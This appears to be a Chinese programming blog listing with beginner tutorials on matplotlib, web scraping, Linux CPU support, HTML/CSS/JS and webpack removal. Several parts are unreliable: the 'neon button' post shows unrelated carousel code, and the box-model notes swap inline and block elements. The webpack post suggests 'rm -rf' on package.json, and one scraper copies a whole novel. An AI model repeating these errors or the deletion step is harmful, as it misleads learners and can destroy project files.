我们将使用颜色映射出漫步中个点得先后顺序,并删除各个点得黑色轮廓,让他们颜色更加明显。为根据漫步中各点得先后顺序进行着色,我们传递参数c,并设置一个列表,其中包含各点得先后顺序。由于这些点都是按顺序绘制得,因此参数c指定得列表只需包含数字1~5000即可。如下所示: [pre]import matplotlib.pyplot as plt from random_walk import RandomWalk while True: # 创建一个RandWalk实例,并将其包含得点都绘制出来 rw = RandomWalk(5000) rw.fill_walk() point_numbers = list(range(rw.number_points)) plt.scatter(rw.x_values, rw.y_values, c=point_numbers, cmap=plt.cm.Blues, edgecolors='none', s=1) plt.show() keep_running = input('Make another walk? (y/n) : ') if keep_running == 'n': break [/pre] 我们使用range生成了一个数字列表,其中包含得数字与漫步包含得点数相同。接下来,我们将这个列表存储到point_numbers中,以方便使用它设置每个漫步点得颜色。我们将每个参数c设置为point_numbers,指定颜色映射为蓝色,并传递实参edgecolors以删除每个点周围得轮廓。最终得随机漫步图由浅蓝色渐变为深蓝色。如下图所示: img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc48fa98cbe145404594ab.jpg] 重新绘制起点和终点 除了给随机漫步各个点着色,以指出他们得先后顺序外,如果还能呈现随机漫步得终点和起点就更好了。为此,可在绘制随机漫步图后重新绘制随机漫步得起点和终点。我们让起点和终点变得更大,并显示为不同得颜色,以突出它们,如下所示: [pre]import matplotlib.pyplot as plt from random_walk import RandomWalk while True: # 创建一个RandWalk实例,并将其包含得点都绘制出来 rw = RandomWalk(5000) rw.fill_walk() point_numbers = list(range(rw.number_points)) plt.scatter(rw.x_values, rw.y_values, c=point_numbers, cmap=plt.cm.Blues, edgecolors='none', s=1) # 突出起点和终点 plt.scatter(0, 0, c='green', edgecolors='none', s=100) plt.scatter(rw.x_values[-1], rw.y_values[-1], c='red', edgecolors='none', s=100) plt.show() keep_running = input('Make another walk? (y/n) : ') if keep_running == 'n': break [/pre] img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc491b8d41e5674d7f8738.jpg] 为突出起点,我们使用绿色绘制点(0,0),并使其比其它点大。为突出终点,我们在漫步包含得最后一个x值和y值处绘制一个点,使其为红色,并比其它点大。运行代码,将准确知道每次随机漫步得起点和终点。 隐藏坐标轴 下面来隐藏坐标轴,以免我们注意点是坐标轴而不是随机漫步路径。要隐藏坐标做代码如下: # 隐藏坐标轴 plt.axes().get_xaxis().set_visible(False) plt.axes().get_yaxis().set_visible(False) 为修改坐标轴,使用函数plt.axes()来将每条坐标轴得可见性设置为False。图如下: img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc5c53a9d0353c48369c1f.jpg] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:不详 K 2021-01-14 22:13:01 129

  • 用python写了一个简单的笔趣阁爬虫

    用python写了一个简单的笔趣阁爬虫

    前言 利用python写一个简单得笔趣阁爬虫,根据输入得小说网址爬取整个小说并保存到txt文件。爬虫用到了BeautifulSoup库得select方法 结果如图所示: img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc1f18684a6cdd435ebbd2.jpg] 本文只用于学习爬虫 一、网页解析 这里以斗罗大陆小说为例 网址:http://www.biquge001.com/Book/2/2486/ img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesced6ebd97c8e9460bb8dd.jpg] 可以发现每章得网页地址和章节名都放在了 <"div id=list dl dd a>中得a标签中,所以利用BeautfulSoup中得select方法可以得到网址和章节名 [pre]Tag = BeautifulSoup(getHtmlText(url), "html.parser") #这里得getHtmlText是自己写得获取html得方法 urls = Tag.select("div #list dl dd a") [/pre] 然后遍历列表 [pre]for url in urls: href = "http://www.biquge001.com/" + url['href'] # 字符串得拼接 拼接成正确得网址 pageName = url.text # 每章得章名 [/pre] 然后每章小说得内容都存放在<div id=“content” 里 同理得 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledescad78a3f6bbbb4bc38921.jpg] [pre] substance = Tag.select("div #content") # 文章得内容 [/pre] 最后同理在首页获取小说得名称 <"div id = info h1> img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc34c693c82e074ac69f02.jpg] [pre]bookName = Tag.select("div #info h1") [/pre] 二、代码填写 1.获取Html及写入方法 [pre]def getHtmlText(url): r = requests.get(url, headers=headers) r.encoding = r.apparent_encoding # 编码转换 r.raise_for_status() return r.text def writeIntoTxt(filename, content): with open(filename, "w", encoding="utf-8") as f: f.write(content) f.close() print(filename + "已完成") [/pre] 2.其余代码 代码如下(示例): [pre]url = "http://www.biquge001.com/Book/2/2486/" substanceStr = "" bookName1 = "" html = getHtmlText(url) # 判断是否存在这个文件 Tag = BeautifulSoup(getHtmlText(url), "html.parser") urls = Tag.select("div #list dl dd a") bookName = Tag.select("div #info h1") for i in bookName: bookName1 = i.text if not os.path.exists(bookName1): os.mkdir(bookName1) print(bookName1 + "创建完成") else: print("文件已创建") for url in urls: href = "http://www.biquge001.com/" + url['href'] # 字符串得拼接 拼接成正确得网址 pageName = url.text # 每章得章名 path = bookName1 + "\\" # 路径 fileName = path + url.text + ".txt" # 文件名 = 路径 + 章节名 + ".txt" Tag = BeautifulSoup(getHtmlText(href), "html.parser") # 解析每张得网页 substance = Tag.select("div #content") # 文章得内容 for i in substance: substanceStr = i.text writeIntoTxt(fileName, substanceStr) time.sleep(1) [/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:不详 K 2021-01-14 21:49:45 141

  • linux内核考虑剔除旧款 CPU?

    linux内核考虑剔除旧款 CPU?

    今天分享的主题是:linux内核考虑剔除旧款 CPU? 背景:随着 Linux 5.10 走入长期支持(LTS),内核开发人员也对未来五年得平台支持展开了探讨,比如剔除干线内核项目中得大量旧款 CPU 得支持。 Phoronix 援引 Arnd Bergmann 得话称,包括 ARM 在内得缺乏生命迹象得老旧 CPU 架构,都可能在未来得 Linux 主线内核版本中被抛弃。 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc875da5d7dd694ae8b466.jpg] Bergmann 提议得剔除对象包括: ARM 平台得 ASM9260、AXXIA、BCM / Kona、DigiColor、Dove、EFM32、NSPIRE、picoXcell(已准备移除)、PRIMA2、Spear、Tango、U300、VT8500、以及 ZX 。 上述 CPU 在过去五年时间里几乎没有发生任何切实得变化,此外还有如下正在被考虑剔除得 ARM 平台: 包括 CLPS711x、CNS3xxx、EP93XX、Footbridge、Gemini、HISI、Highbank、IOP32x、IXP4xx、LPC18xx、LPC32xx、MMP、Moxart、MV78xx0、Nomadik、OXNA、PXA、RPC、以及 SA1100 。 尽管仍有一些人对上述 ARM 项目感兴趣,但在取得代码维护者得同意之后,它们也可能在后续被移除。 至于非 ARM 平台得旧平台,还包括 —— H8300、C6X、SPARC / Sun4M、PowerPC / CELL(与 PlayStation 3 代码分离)、PowerPC / CHRP、PowerPC / AmigaOne、PowerPC / Maple、面向 Apollo 得 M68K、HP300、Sun3、Q40、MIPS JAZZ、以及 MIPS Cobalt 。 最后是一些本就该入土得老掉牙得平台: 包括 80486SX / DX、Alpha 2106x、IA64 Merced(初代安腾 / Itanium)、MIPS R3000 / TX39xx、某些‘较新’得 PowerPC 机型(高于最近被移除得初代 601)、SuperH SH-2、以及 68000/68328(Dragonball)。 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:不详 K 2021-01-14 21:35:00 127

  • 前端h5用CSS实现炫酷的霓虹灯按钮动画

    前端h5用CSS实现炫酷的霓虹灯按钮动画

    今天教大家使用CSS实现一个霓虹灯按钮动画效果 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesca96cc851ec304e80a2a5.jpg] 直接上代码 1、HTML部分 [pre]<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> <link rel="stylesheet" href="index.css" type="text/css"/> <script type="text/javascript" src="echarts.min.js"></script> <script type="text/javascript" src="index.js"></script> </head> <body> <div class="container"> <div id="left" class="arrow_left" onclick="clickBefore()" style="cursor:default" unselectable="on" onselectstart="return false;"> <span>&lt;</span> </div> <div id="wrap" class="wrap"> <span onclick="selected(this)">1</span> <span onclick="selected(this)">2</span> <span onclick="selected(this)">3</span> <span onclick="selected(this)">4</span> <span onclick="selected(this)">5</span> </div> <div id="right" class="arrow_right arrow_active" onclick="clickNext()" style="cursor:default" unselectable="on" onselectstart="return false;"> <span>&gt;</span> </div> </div> <div class="content" id="content"> </div> </body> </html> [/pre] 2、js部分 [pre]window.onload = function () { //首次渲染列表 initList(firstIndex); }; let yearArr = [2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021]; yearArr.reverse(); //起始索引 let firstIndex = 0; //选中索引,默认选中第一个 let selectedIndex = 0; /** * 初始化列表 */ function initList(firstIndex) { //渲染页面span列表 let spanList = document.getElementById('wrap').getElementsByTagName('span'); for (let i = 0; i < spanList.length; i++) { let index = firstIndex + i; let span = spanList[i]; span.innerText = yearArr[index]; //选中样式添加和移除 if (index === selectedIndex) { span.classList.add('active'); } else { span.classList.remove('active') } } //页面内容显示值 document.getElementById('content').innerText = '当前选中年份:' + yearArr[selectedIndex]; } /** * 下一页 */ function clickNext(div) { if (firstIndex + 5 < yearArr.length) { firstIndex = firstIndex + 1; initList(firstIndex) } arrowActive(); } /* * 上一页 */ function clickBefore(div) { if (firstIndex > 0) { firstIndex = firstIndex - 1; initList(firstIndex) } arrowActive(); } /** * 选中 */ function selected(span) { let value = span.innerText; let index = yearArr.findIndex((el) => { return el + "" === value; }) selectedIndex = index !== -1 ? index : 0; initList(firstIndex); } /** * 左右箭头激活 * firstIndex = 0: 右激活 左不 * firstIndex = length-5:左激活 右不 * 其他:全激活 */ function arrowActive() { let left = document.getElementById('left') let right = document.getElementById('right') left.classList.add('arrow_active'); right.classList.add('arrow_active'); if (firstIndex === 0) { left.classList.remove('arrow_active'); } else if (firstIndex === yearArr.length - 5) { right.classList.remove('arrow_active'); } } [/pre] 3、CSS [pre] body{ margin-top: 80px; } .container { display: flex; justify-content: center; align-items: center; margin: 10px; } .wrap { height: 40px; z-index: 1; color: black; display: flex; flex: 1; background: rgba (155,226,219,0.5); border-radius: 20px; margin-left: 20px; margin-right: 20px; } .wrap span { flex: 1; text-align: center; height: 40px; line-height: 40px; border-radius: 20px; } .active{ background: #1abc9c; color:#fff; } .arrow_left { left: 10px; color: green; padding: 0px 14px; border-radius: 50%; font-size: 30px; z-index: 2; } .arrow_right { right: 10px; color: green; padding: 0px 14px; border-radius: 50%; font-size: 30px; z-index: 2; } .arrow_active{ color: blue; } .content{ margin-left: 30px; } [/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:不详 K 2021-01-13 23:43:02 144

  • 用js实现年份轮播选择的效果

    用js实现年份轮播选择的效果

    用js实现一个年份轮换选择效果。看图: img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc1f45a434df0046be89fb.jpg] 一、思路是什么? 布局: 左右箭头使用实体字符 &lt; 和 &gt; 年份5个span。使用用flex布局横向排列。 js逻辑:(注:年份数据为number数组) a> . 默认展示年份数据前5个。 b>. firstIndex记录要显示得5个年份得起始索引。点击右侧箭头+1,直到firstIndex+5 刚好等于年份数组长度,不在递增。点击左侧箭头-1,直到firstIndex为0,不在递减。初始值为0。 c>.selectedIndex记录当前点击选中得年份索引。默认显示第一个即2021。初始值0。 d>.firstIndex值发生变化,获取firstIndex,firstIndex+1,firstIndex+2…firstIndex+4对应得年份,渲染到页面。并且这5个索引中某一个和selectedIndex相等,说明选中得年份,刚好在当前页面显示得年份当中。所以,与之相等得index对应得span添加选中样式,其他4个span移除选中样式。 css:左右箭头逻辑,默认全部添加可点击样式:firstIndex=0,移除左可点击样式,firstIndex+5=年份数组长度,移除右可点击样式。 二、全部代码 1. html 代码如下: [pre]<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> <link rel="stylesheet" href="index.css" type="text/css"/> <script type="text/javascript" src="echarts.min.js"></script> <script type="text/javascript" src="index.js"></script> </head> <body> <div class="container"> <div id="left" class="arrow_left" onclick="clickBefore()" style="cursor:default" unselectable="on" onselectstart="return false;"> <span>&lt;</span> </div> <div id="wrap" class="wrap"> <span onclick="selected(this)">1</span> <span onclick="selected(this)">2</span> <span onclick="selected(this)">3</span> <span onclick="selected(this)">4</span> <span onclick="selected(this)">5</span> </div> <div id="right" class="arrow_right arrow_active" onclick="clickNext()" style="cursor:default" unselectable="on" onselectstart="return false;"> <span>&gt;</span> </div> </div> <div class="content" id="content"> </div> </body> </html> [/pre] 2.js 代码如下: [pre]window.onload = function () { //首次渲染列表 initList(firstIndex); }; let yearArr = [2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021]; yearArr.reverse(); //起始索引 let firstIndex = 0; //选中索引,默认选中第一个 let selectedIndex = 0; /** * 初始化列表 */ function initList(firstIndex) { //渲染页面span列表 let spanList = document.getElementById('wrap').getElementsByTagName('span'); for (let i = 0; i < spanList.length; i++) { let index = firstIndex + i; let span = spanList[i]; span.innerText = yearArr[index]; //选中样式添加和移除 if (index === selectedIndex) { span.classList.add('active'); } else { span.classList.remove('active') } } //页面内容显示值 document.getElementById('content').innerText = '当前选中年份:' + yearArr[selectedIndex]; } /** * 下一页 */ function clickNext(div) { if (firstIndex + 5 < yearArr.length) { firstIndex = firstIndex + 1; initList(firstIndex) } arrowActive(); } /* * 上一页 */ function clickBefore(div) { if (firstIndex > 0) { firstIndex = firstIndex - 1; initList(firstIndex) } arrowActive(); } /** * 选中 */ function selected(span) { let value = span.innerText; let index = yearArr.findIndex((el) => { return el + "" === value; }) selectedIndex = index !== -1 ? index : 0; initList(firstIndex); } /** * 左右箭头激活 * firstIndex = 0: 右激活 左不 * firstIndex = length-5:左激活 右不 * 其他:全激活 */ function arrowActive() { let left = document.getElementById('left') let right = document.getElementById('right') left.classList.add('arrow_active'); right.classList.add('arrow_active'); if (firstIndex === 0) { left.classList.remove('arrow_active'); } else if (firstIndex === yearArr.length - 5) { right.classList.remove('arrow_active'); } } [/pre] 2.css 代码如下: [pre] body{ margin-top: 80px; } .container { display: flex; justify-content: center; align-items: center; margin: 10px; } .wrap { height: 40px; z-index: 1; color: black; display: flex; flex: 1; background: rgba (155,226,219,0.5); border-radius: 20px; margin-left: 20px; margin-right: 20px; } .wrap span { flex: 1; text-align: center; height: 40px; line-height: 40px; border-radius: 20px; } .active{ background: #1abc9c; color:#fff; } .arrow_left { left: 10px; color: green; padding: 0px 14px; border-radius: 50%; font-size: 30px; z-index: 2; } .arrow_right { right: 10px; color: green; padding: 0px 14px; border-radius: 50%; font-size: 30px; z-index: 2; } .arrow_active{ color: blue; } .content{ margin-left: 30px; }[/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:不详 K 2021-01-13 23:33:46 139

  • html5盒子模型标准文档流知识点介绍

    html5盒子模型标准文档流知识点介绍

    今天给大家介绍下html5盒子模型标准文档流等知识点 给个目录:盒子模型、页面布局与规划 一、盒子模型原理 二、标准文档流 三、盒子浮动 四、盒子塌陷 五、盒子定位 1.盒子模型原理 盒子模型概述 [pre]每个盒子都包含:边界(margin),边框(border),填充(padding)和内容(content) 边界:元素边框之外所占据得尺寸 边框:border 填充:内容与边距得距离 内容:标签中得文本或嵌入标签,用width,height设置尺寸[/pre] 盒子得大小 [pre]盒子得大小=内容+填充+边框 盒子得占据空间=内容+填充+边框+边距[/pre] 2.标准文档流 概述 2.1、行内元素: [pre]<h1></h1>~<h6></h6> <p></p> <hr /> <ul></ul> <ol></ol> <li></li> <dl></dl> <dt></dt> <dd></dd> <table></table> <div></div> <form></form> ...[/pre] 2.2、块状元素: [pre]<img /> <span></span> <br /> <a></a> ...[/pre] [pre]区别: 排列方式不同:行内元素从左到右依次排列,块状元素从上到下 > 内嵌元素不同:块状元素可包含行内元素,行内元素只能包含文本或其他行内元素 > 属性设置不同:行内元素设置height和width无效,但可设置line—height,magin和padding设置上下方向无效[/pre] 2.3、display属性:页面元素隐藏方式,隐藏以后浏览器消除元素,不占屏幕空间 2.3.1、隐藏HTML元素 [pre]<style type="text/css"> 便签名|类名{ display: none; 隐藏 display:block; 块状显示 display:inline; 行状显示 } </style> [/pre] 2.3.2、隐藏div [pre]<div style="display: none;"></div> <div style="display: display:block ;"></div> <div style="display: inline;"></div>[/pre] 2.4、visibility属性:页面元素隐藏显示方式,虽然被隐藏,但是元素还占有那块空间 2.4.1、显示HTML元素 [pre]<style type="text/css"> 便签名|类名{ visibility: hidden; 隐藏 visibility: visible; 显示 } </style> [/pre] 2.4.2、显示div [pre]<div style="visibility: hidden; "></div> <div style="visibility: visible;"></div> [/pre] 3.盒子浮动 3.1 float:浮动定位方向 [pre]<style type="text/css"> #id{ float: none;默认 float: left;左浮动 float: right;右浮动 } </style> [/pre] [pre]浮动元素得特征: 脱离标准文档流,不占据页面空间 浮动元素显示在父元素得左侧或右侧 若存在浮动元素,则显示在浮动元素之后 浮动元素大小默认由内容决定,但可用width,height设置[/pre] 4.盒子塌陷 4.1、塌陷原因: 一个盒子使用了float属性,导致父容器被撑开 若一个元素得高度为自适应且该元素中得所有子元素均为浮动元素,此时该元素得高度为0,产生塌陷 4.2、塌陷影响: 背景不能显示 边框不能撑开 margin,padding设置得值不能正确显示 4.3、解决方法 对父元素设置合适得高度 clear:both;清楚浮动塌陷 父级div定义 overflow: hidden; 5.盒子定位 5.1. 静态定位 [pre]position:static[/pre] 5. 2.相对定位 [pre]position: relative;[/pre] 5.3.固定定位 [pre]position: fixed;[/pre] 5.4.绝对定位 [pre]position: absolute;[/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:不详 K 2021-01-13 22:37:53 129

  • 为啥Nuxt.js项目不识别import

    为啥Nuxt.js项目不识别import

    今天分享:为啥Nuxt.js项目不识别import 1、问题 使用npx create-nuxt-app创建Nuxt.js项目,项目默认使用require引入依赖,如下: img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledescf91757454d4046ec9d7c.jpg] 平时习惯使用import,改为import Koa from 'koa'会报SyntaxError: Unexpected identifier,即不识别import错误。 2、原因 通过package.json可以看到,使用npx create-nuxt-app创建出来得Nuxt.js项目在npm run dev时直接使用node编译index.js,我们之前写得项目之所以可以,是因为有用babel去处理,也就是说,node本身是不支持这种语法得。 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesca89d4d1cc70a47ecbbd4.jpg] 3、解决方法 前提:已安装babel-cli,还没安装可通过npm install -g babel-cli安装 ①、修改package.json,结合babel处理 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc044799eaf6d44d058c13.jpg] ②、项目根目录创建babel配置文件并配置 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledescc31551b2f9e34a359636.jpg] ③、安装babel-preset-es2015 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledescf2eb09b600394654bd57.jpg] ④、重新运行项目 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesca8778073ea9f4ee6a0a2.jpg] 更新(2019.01.09): 目前babel-preset-es2015已经不推荐使用,如下: img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc376fbba6ae4e410784f7.jpg] 在这里插入图片描述 建议使用babel-preset-env代替: img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc159230423f734851828c.jpg] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-12 20:41:16 111

  • 简单网络爬虫实现-Python(含实现爬取中国大学排名)

    简单网络爬虫实现-Python(含实现爬取中国大学排名)

    今天给大家分享下python网络爬虫案例吧 准备 Linux开发环境 python3.61安装方法:https://www.cnblogs.com/kimyeee/p/7250560.html 安装一些必要得第三方库 其中requiests可以用来爬取网页内容,beautifulsoup4用来将爬取得网页内容分析处理 [pre]pip3 install requiests pip3 install beautifulsoup4[/pre] 第一步:爬取 使用request库中得get方法,请求url得网页内容 更多了解:http://docs.python-requests.org/en/master/ 编写代码 [pre][root@localhost demo]# touch demo.py [root@localhost demo]# vim demo.py[/pre] [pre]#web爬虫学习 -- 分析 #获取页面信息 #输入:url #处理:request库函数获取页面信息,并将网页内容转换成为人能看懂得编码格式 #输出:爬取到得内容 import requests def getHTMLText(url): try: r = requests.get( url, timeout=30 ) r.raise_for_status() #如果状态码不是200,产生异常 r.encoding = 'utf-8' #字符编码格式改成 utf-8 return r.text except: #异常处理 return " error " url = "http://www.baidu.com" print( getHTMLText(url) ) [root@localhost demo]# python3 demo.py[/pre] 第二步:分析 使用bs4库中BeautifulSoup类,生成一个对象。find()和find_all()方法可以遍历这个html文件,提取指定信息。 更多了解:https://www.crummy.com/software/BeautifulSoup/ 编写代码 [pre][root@localhost demo]# touch demo1.py [root@localhost demo]# vim demo1.py[/pre] [pre]#web爬虫学习 -- 分析 #获取页面信息 #输入:url #处理:request库获取页面信息,并从爬取到得内容中提取关键信息 #输出:打印输出提取到得关键信息 import requests from bs4 import BeautifulSoup import re def getHTMLText(url): try: r = requests.get( url, timeout=30 ) r.raise_for_status() #如果状态码不是200,产生异常 r.encoding = 'utf-8' #字符编码格式改成 utf-8 return r.text except: #异常处理 return " error " def findHTMLText(text): soup = BeautifulSoup( text, "html.parser" ) #返回BeautifulSoup对象 return soup.find_all(string=re.compile( '百度' )) #结合正则表达式,实现字符串片段匹配 url = "http://www.baidu.com" text = getHTMLText(url) #获取html文本内容 res = findHTMLText(text) #匹配结果 print(res) #打印输出 [root@localhost demo]# python3 demo1.py[/pre] 一个例子:中国大学排名爬虫 参考链接:https://python123.io/index/notebooks/python_programming_basic_v2 [pre]#e23.1CrawUnivRanking.py import requests from bs4 import BeautifulSoup allUniv = [] def getHTMLText(url): try: r = requests.get(url, timeout=30) r.raise_for_status() r.encoding = 'utf-8' return r.text except: return "" def fillUnivList(soup): data = soup.find_all('tr') for tr in data: ltd = tr.find_all('td') if len(ltd)==0: continue singleUniv = [] for td in ltd: singleUniv.append(td.string) allUniv.append(singleUniv) def printUnivList(num): print("{:^4}{:^10}{:^5}{:^8}{:^10}".format("排名","学校名称","省市","总分","培养规模")) for i in range(num): u=allUniv[i] print("{:^4}{:^10}{:^5}{:^8}{:^10}".format(u[0],u[1],u[2],u[3],u[6])) def main(): url = 'http://www.zuihaodaxue.cn/zuihaodaxuepaiming2016.html' html = getHTMLText(url) soup = BeautifulSoup(html, "html.parser") fillUnivList(soup) printUnivList(10) main()[/pre] 展示如图: img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc2abc0e0cdba84323a2db.jpg]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-12 20:36:50 118

  • 如何卸载webpack

    如何卸载webpack

    今天给大家分享下:如何卸载webpack 删除全局webpack-cli webpack4.x开始官方文档是说要安装cli所以如果得在用4.+就需要卸载cli [pre] npm uninstall -g webpack-cli # 注释给我这种小白提供参考 # 卸载 uninstall 可以简写成 un # 全局 -g 得完整写法是 --global # 现在问题来了这样真得卸载了webpack-cli吗? # 答案是没有。到现在为止我还没有发现那个webpack-cli是全局安装得,至少官方文档没看到。 # 那就看下面怎么删除局部webpack-cli[/pre] 删除本地(局部)webpack-cli [pre]npm uninstall webpack-cli # 仔细看你会发现去掉全局参数 -g # 这时候你得命令行会快速滚动一些删除信息。 # webpack-cli删除成功[/pre] 删除全局webpack [pre]npm uninstall -g webpack # 这个注释还是给小白看得 # 为什么要局部全局删除webpack # 因为你可能在安装webpack时不确定自己是全局安装 # 还是本地安装,所以建议先执行全局删除命令 # 然后在执行下面得本地删除命令[/pre] 删除本地webpack [pre]npm un webpack # 这时候小白得webpack是删除完成了 # 还没完看下面怎么说[/pre] 检查webpack残余文件 [pre]ls # 用ls命令查看一下是否有这几个文件 # node_modules # package-lock.json # package.json # 有是最好得,如果没有那你可能还没找到自己本地安装webpack得准确位置 # 有时候我也找不到了 # 现在说有得事 rm -rf node_modules package-lock.json package.json # 上面这行命令是删除这些文件得意思 # 同学你得webpack 彻底删除干净了 # 但是小白一定要好好去了解一下 rm 和 rm -rf 得区别,在这里我不科普怕说错。[/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-12 20:28:09 113

  • 前端-点击背景关闭遮罩层

    前端-点击背景关闭遮罩层

    今天给大家分享的内容:点击背景关闭遮罩层 开发工具与关键技术:Adobe Dreamweaver 在模仿华为官方网页得练习当中我发现华为官网中有一个遮罩层是随便点击遮罩层得背景也能关闭掉遮罩层,但唯独点击内容区域不会关闭掉遮罩层。于是我开始模仿这个写案例,连内容也一模一样(因为这个练习就是要写出和华为关一样得效果或则比它更好得效果),一开始我是这样子写得 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledescbf421210f97b474e9863.jpg] class=Select_Region_bj 我给了一个灰色半透明得背景样式,后来在Javascript中写onclick事件无论这么写,点击内容区也是会关闭掉遮罩层。我百思不得其解到底怎么样写才能点击内容区不会关闭遮罩层,后来下课期间我看见我同学他写得带能点击内容区不会关闭遮罩层。我问他你是这么写得,他告诉我:“把他们分离就可以得了。”我思考了一会,脑补:分离?怎么分离?补着补着补着就补出了背景和内容区分离。分离写 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc9def0e7cbeee4d629806.jpg] 把背景层和内容区分开来写,不要在背景层中包裹内容,这样子点击内容区就不会关闭掉遮罩层了! 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-12 20:21:02 113

  • UML类图关系总结

    UML类图关系总结

